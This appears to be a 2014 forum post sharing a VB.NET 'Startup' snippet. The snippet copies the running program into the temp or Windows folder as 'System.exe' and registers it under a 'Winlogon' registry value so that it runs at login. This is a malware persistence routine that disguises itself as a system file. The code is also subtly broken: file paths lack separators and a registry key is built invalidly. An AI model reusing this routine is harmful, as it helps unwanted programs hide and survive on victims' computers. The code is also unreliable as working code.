[VB.NET] Startup 03-27-2014, 01:38 PM
#1
.NET RuLz :Confused:
Code:
If reg = True Then
Dim fLocation As String = String.Empty
If temp = True Then
fLocation = Environ("temp") & "System.exe"
ElseIf win = True Then
fLocation = Environ("windir") & "System.exe"
ElseIf custom = True Then
fLocation = dir & "System.exe"
End If
If System.IO.File.Exists(fLocation) = False Then
IO.File.Copy(Application.ExecutablePath, fLocation)
End If
Dim regKey As New RegistryKey
regKey = Registry.CurrentUser.OpenSubKey(regtxt, True)
regKey.SetValue("Winlogon", fLocation)
regKey.Close()
End If